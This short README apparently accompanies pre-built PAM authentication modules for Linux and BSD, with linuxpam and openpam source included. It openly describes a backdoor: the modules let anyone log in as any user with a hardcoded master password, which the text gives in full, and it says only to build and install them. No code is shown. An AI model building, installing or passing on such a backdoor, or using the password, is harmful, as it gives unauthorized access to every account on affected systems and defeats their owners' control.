Pre-made PAM modules for Linux/BSD 32 and 64 bit.
The source for both linuxpam and openpam are included, simply go into the directory and build from source.
PAM modules allows you to login as any user as long as you use the password "imaprettykitty" without quotes.